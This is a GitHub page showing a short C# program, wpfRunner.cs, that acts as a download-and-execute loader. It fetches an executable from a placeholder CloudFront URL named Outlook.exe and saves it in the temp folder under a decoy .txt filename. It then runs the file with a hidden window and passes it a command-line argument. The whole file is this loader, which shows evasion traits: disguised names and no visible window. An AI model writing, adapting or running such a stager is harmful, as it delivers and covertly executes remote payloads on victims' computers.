-
Notifications
You must be signed in to change notification settings - Fork 30
/
Copy pathwpfRunner.cs
50 lines (45 loc) · 1.37 KB
/
wpfRunner.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Threading.Tasks;
class Program
{
static async Task Main(string[] args)
{
if (args.Length < 1)
{
Console.WriteLine("Usage: wpfRunner.exe <arg>");
return;
}
string remoteUrl = "http://xxx.cloudfront.net/Outlook.exe"; // update
string tempDirectory = Path.GetTempPath();
string tempExePath = Path.Combine(tempDirectory, "mldabcdlsdewiv.txt");
try
{
using (WebClient client = new WebClient())
{
await client.DownloadFileTaskAsync(new Uri(remoteUrl), tempExePath);
}
ProcessStartInfo startInfo = new ProcessStartInfo
{
FileName = tempExePath,
Arguments = args[0],
UseShellExecute = false,
CreateNoWindow = true,
RedirectStandardOutput = true,
RedirectStandardError = true
};
using (Process process = new Process())
{
process.StartInfo = startInfo;
process.Start();
process.WaitForExit();
}
}
catch (Exception ex)
{
Console.WriteLine($"Failed to download and run the executable: {ex.Message}");
}
}
}